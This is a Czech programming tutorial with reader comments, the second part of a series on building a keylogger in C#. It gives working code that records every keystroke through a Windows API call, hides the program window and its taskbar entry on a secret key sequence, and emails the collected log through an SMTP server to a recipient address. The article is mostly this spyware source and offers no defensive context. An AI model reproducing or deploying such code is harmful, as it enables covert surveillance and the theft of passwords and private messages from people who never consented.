Válí se ti projekty v šuplíku? Dostaň je mezi lidi a získej cool tričko a body na profi IT kurzy v soutěži ITnetwork summer 2017!
Přidej si svou IT školu do profilu a najdi spolužáky zde na síti :)

Jednoduchý KeyLogger v C# 2: Zachytávání kláves

C# .NET Pro pokročilé Jednoduchý KeyLogger v C# 2: Zachytávání kláves

ONEbit hosting Unicorn College Tento obsah je dostupný zdarma v rámci projektu IT lidem. Vydávání, hosting a aktualizace umožňují jeho sponzoři.

V minulém tutoriálu jsme si připravili formulář a základní kód pro tvorbu jednoduchého KeyLoggeru.

Dnes budeme pokračovat a to vytvořením třídy pro zachytávání kláves. Nazveme ji"Key". V této třídě budeme zachytávat a nahrazovat znaky. Kód bude vysvětlen formou komentářů.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger
{
    public static class Key
    {
        // Deklarujeme WinAPI metodu GetAsyncKeyState knihovny user32.dll, která vrací aktuálně stisknutou klávesu
        [DllImport("User32.dll")] // budeme používat tuto knihovnu
        private static extern short GetAsyncKeyState(int vKey);

        /* Metoda pro nahrazování znaků.
         * KeyLogger vrací například po stitku mezery slovo "Space", tato metoda
         * se postará o to, aby nahradila slovo Space jiným textem, v naše případě
         * se slova "Space" nahradí skutečnou mezerou, tedy " ".
         * Tato "tabulka" byla stažená ze zdroje: http://www.zive.cz/clanky/stante-se-programatorem-spion-ktery-vi-co-pisete/sc-3-a-143551/default.aspx
         */
        public static string ReplaceChars(string text)
        {
            text = text.Replace("Space", " ");
            text = text.Replace("Delete", "<Del>");
            text = text.Replace("LShiftKey", "");
            text = text.Replace("ShiftKey", "");
            text = text.Replace("OemQuotes", "!");
            text = text.Replace("Oemcomma", "?");
            text = text.Replace("D8", "á");
            text = text.Replace("D2", "ě");
            text = text.Replace("D3", "š");
            text = text.Replace("D4", "č");
            text = text.Replace("D5", "ř");
            text = text.Replace("D6", "ž");
            text = text.Replace("D7", "ý");
            text = text.Replace("D9", "í");
            text = text.Replace("D0", "é");
            text = text.Replace("Back", "<==");
            text = text.Replace("LButton", "");
            text = text.Replace("RButton", "");
            text = text.Replace("NumPad", "");
            text = text.Replace("OemPeriod", ".");
            text = text.Replace("OemSemicolon", ",");
            text = text.Replace("Oem4", "/");
            text = text.Replace("LControlKey", "");
            text = text.Replace("ControlKey", "<CTRL>");
            text = text.Replace("Enter", "<ENT>");
            text = text.Replace("Shift", "");
            return text;
        }

        // zde probíhá samotné zachytávání znaků
        public static string GetBuffKeys()
        {
            string buffer = "";
            foreach (System.Int32 i in Enum.GetValues(typeof(Keys)))
            {
                if (GetAsyncKeyState(i) == -32767) // pokud je hodnota GetAsyncKeyState rovna -32767 (hodnota pro stisk klávesy. Jsou zde i hodnoty pro držení klávesy, uvolnění a podobně.), tak
                    buffer += Enum.GetName(typeof(Keys), i); //do bufferu přidej stisklou klávesu
            }
            return buffer; // vrátí řetězec
        }
    }
}

Tak, před několika okamžiky jsme vytvořili metodu, která nám zpracovává stisky kláves. Nyní je čas tuto metodu použít :) Použijeme ji v timeru tCheckKey

private void tCheckKey_Tick(object sender, EventArgs e)
{
    tbLog.Text += Key.GetBuffKeys(); // Přidám do textBoxu stiklou klávesu
    tbLog.Text = Key.ReplaceChars(tbLog.Text); // Pozměním nějaké znaky, jako "space" za " " a pod
}

Je čas začít náš KeyLogger skrývat. Budeme jej chtít skrývat například při rychlém stisku kláves "123" a odkrývat při rychlém stisku kláves "456". Použijeme tedy timer tCheckHide

private void tCheckHide_Tick(object sender, EventArgs e)
{
    if (tbLog.Text == "123") // pokud bude v okně text, který si uživatel zvolil pro skrytí,
    {
        this.Hide(); // skryj okno
        this.ShowInTaskbar = false; // skryj ho i z lišty
    }
    else if (tbLog.Text == "456") // pokud bude v okně text, který si uživatel zvolil pro odkrytí,
    {
        this.Show(); // odkrej okno
        this.ShowInTaskbar = true; // ukaž program na liště
    }
}

Teď už program můžete spustit :) Jak vidíte, záznamy kláves nám při kliknutí na tlačítko Start fungují skvěle, avšak vám nepůjde skrýt a odkrýt KeyLogger, pokud již budete mít nějaký text v poli pro text, tedy v TextBoxu. Ptáte se proč? Podívejte se na předchozí kód. Vídíte, že skrytí proběhne, je-li v textBoxu kód pro skrytí samostatně. Tedy textBox nesmí obsahovat žádné jiné znaky, pouze "123". A proto zde máme třetí timer tClearField. V tomto timeru se postaráme o vyprazdňování textBoxu a ukládání záznamu do nějaké proměnné. Proměnnou je třeba vytvořit mimo událost timeru. Takže každou sec se nám vyprázdní textBox a jeho obsah se uloží do nějaké proměnné.

string sBuffer = "";

private void tClearField_Tick(object sender, EventArgs e)
{
    sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
    tbLog.Text = ""; // vymazu okno
}

A je to, v současné době máte funkční KeyLogger. Má to však ještě jeden malý háček. Záznam se nám nikam neukládá/neposílá. Takže je nám to zatím celé je pro okrasu. Pojďme si tedy vytvořit třídu pro odesílání emailu. :) Nazvěme ji třeba Email.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Mail;
using System.Net;

namespace KeyLogger
{
    public class Email
    {
        public static void SendLog(string SMTP, string Port, string User, string Pass, string Adress, string Topic, string Log)
        {
            MailMessage mail = new MailMessage();
            mail.From = new MailAddress(User);
            mail.To.Add(new MailAddress(Adress));
            mail.Subject = Topic;
            mail.Body = Log;

            SmtpClient klient = new SmtpClient(SMTP, int.Parse(Port));
            klient.Credentials = new NetworkCredential(User, Pass);
            klient.EnableSsl = false;
            klient.Send(mail);
        }
    }
}

Teď už je odesílání emailu správně použít. Upravíme si tedy ještě timer tClearField a doplníme jej o kód pro odeslání.

private void tClearField_Tick(object sender, EventArgs e)
{
    sBuffer += tbLog.Text; // Do Bufferu přidám to, co je v okně
    tbLog.Text = ""; // vymazu okno

    // Pokud je délka delší, než požadovaná délka
    if (sBuffer.Length > 300) // je lepší to mít větší, já používám min 5000.
    {
        // odešleme email
        Email.SendLog("smtp.gmail.com", "587", "vasEmailProOdeslani@gmail.com",
            "vaseHesloProOdesilaciEmail", "emailPrijemceLogu@cokoli.neco",
            "TemaEmailu (nadpis)", sBuffer);
        sBuffer = ""; // po odeslání vyprázdníme buffer
    }
}

A je to, nyní máte funkční KeyLogger. Můžeme si jej ještě vylepšit o možnost zapínání po startu Windows a také o přehlednost. Tedy, abychom věděli v jakém okně byl text psán :) Na to se podíváme Příště.


 

Stáhnout

Staženo 943x (75.28 kB)
Aplikace je včetně zdrojových kódů v jazyce C#

 

 

Článek pro vás napsal Mediel
Avatar
Jak se ti líbí článek?
2 hlasů
Autor se věnuje programování v C#, ThaiBoxu, ženám a posilování :) „Jestliže si vsugerujete neúspěch, pak vás čeká neúspěch. Někdo říká, že je nesmělý, hloupý. Zopakujte si to desetkrát za sebou a vaše nesmělost a hloupost se tím jen prohloubí.“ MUHAMMAD
Aktivity (1)

 

 

Komentáře
Zobrazit starší komentáře (15)

Avatar
niveses
Redaktor
Avatar
niveses:28.4.2013 17:20

Dnes si s tím lámu hlavu a pořád nemůžu přijít na to, co s tím. Zaznamenává, a pak když chce odeslat tak hodí chybu. Verze .NET 4. Zkoušel jsem přeinstalovat a nic. Jediný co jsem upravoval byla oblast s e-mailem. Nemá někdo tušení, co s tím?
Díky

 
Odpovědět 28.4.2013 17:20
Avatar
Odpovídá na niveses
Michal Žůrek (misaz):28.4.2013 17:22

Aha, takže pokud to tipuji dobře tak má tvůj počítač (a keylooger převážně) hlad, dej mu hamburger nebo hotdog. Jo a až to uděláš nezapomeň nám sem napsat co to je za chybu.

Odpovědět 28.4.2013 17:22
Nesnáším {}, proto se jim vyhýbám.
Avatar
niveses
Redaktor
Avatar
niveses:28.4.2013 17:39

Misaz, o pár postů dříve to je popsaný. I okno chyby, i podrobnosti.

 
Odpovědět 28.4.2013 17:39
Avatar
Mediel
Redaktor
Avatar
Odpovídá na niveses
Mediel:28.4.2013 20:18

Je to prosté, nejprve si zkus napsat aplikaci na posílání emailů a pak kód té aplikace implementuj sem ;) Pokud to nedáš, tak nemůžeš nikdy dělat keyLogger, když nedovedeš napsat ani email-sender...

Odpovědět 28.4.2013 20:18
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
niveses
Redaktor
Avatar
niveses:29.4.2013 17:32

Takže už to mám :) Díky :)

 
Odpovědět 29.4.2013 17:32
Avatar
Mediel
Redaktor
Avatar
Odpovídá na niveses
Mediel:29.4.2013 21:04

A kde jsi mel chybu? :)

Odpovědět 29.4.2013 21:04
Nechci vám ukazovat, jak dobrý jsem já ... Chci vám ukázat, jak dobrý můžete být vy ... Když uvěříte ... V sami sebe...
Avatar
niveses
Redaktor
Avatar
niveses:29.4.2013 21:40

neupravil jsem soubor Email :[

 
Odpovědět 29.4.2013 21:40
Avatar
Tomkanovik
Člen
Avatar
Tomkanovik:20.1.2014 19:43

Lidi neví někdo jak to upravit aby to chápalo i velký a malý písmena???

 
Odpovědět 20.1.2014 19:43
Avatar
Samuel Vandak:4. ledna 15:37

Vedel by mi niekto pomôcť ? Pri poslednej časti (tClearField) kde davame kod pre odoslanie mi to hádže error : The name ´sBuffer´ does not exist in the current context. Niekto help ?

 
Odpovědět 4. ledna 15:37
Avatar
Samuel Vandak:4. ledna 16:01

Už som na to došiel

 
Odpovědět 4. ledna 16:01
Děláme co je v našich silách, aby byly zdejší diskuze co nejkvalitnější. Proto do nich také mohou přispívat pouze registrovaní členové. Pro zapojení do diskuze se přihlas. Pokud ještě nemáš účet, zaregistruj se, je to zdarma.

Zobrazeno 10 zpráv z 25. Zobrazit vše